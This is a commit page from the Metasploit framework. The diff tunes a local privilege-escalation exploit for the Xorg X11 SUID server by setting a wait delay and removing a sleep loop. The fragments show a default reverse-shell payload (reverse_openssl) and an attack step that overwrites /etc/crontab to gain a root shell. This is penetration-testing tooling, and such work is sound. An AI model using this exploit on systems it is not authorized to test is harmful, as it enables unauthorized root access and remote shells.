Using Wfsdelay instead of sleep loop, users get shells ASAP

rapid7 · Nov 25, 2018 · 93db7b3 · 93db7b3
1 parent 1783617
commit 93db7b3
Showing 1 changed file with 3 additions and 8 deletions.
diff --git a/modules/exploits/multi/local/xorg_x11_suid_server.rb b/modules/exploits/multi/local/xorg_x11_suid_server.rb
@@ -71,7 +71,8 @@ def initialize(info = {})
         ],
       'DefaultOptions' =>
         {
-          'PAYLOAD' => 'cmd/unix/reverse_openssl'
+          'PAYLOAD' => 'cmd/unix/reverse_openssl',
+          'WfsDelay' => 120
         },
       'DefaultTarget'  => 0))
 
@@ -209,12 +210,6 @@ def exploit
       print_error 'Deleting crontab backup'
       fail_with Failure::NotVulnerable, '/etc/crontab not modified'
     end
-    print_good '/etc/crontab overwrite successful'
-
-    12.times do
-      print_status 'Waiting on cron to run'
-      Rex.sleep 10
-      break if session_created?
-    end
+    print_good '/etc/crontab overwrite successful. Waiting for job to run (may take a minute)...'
   end
 end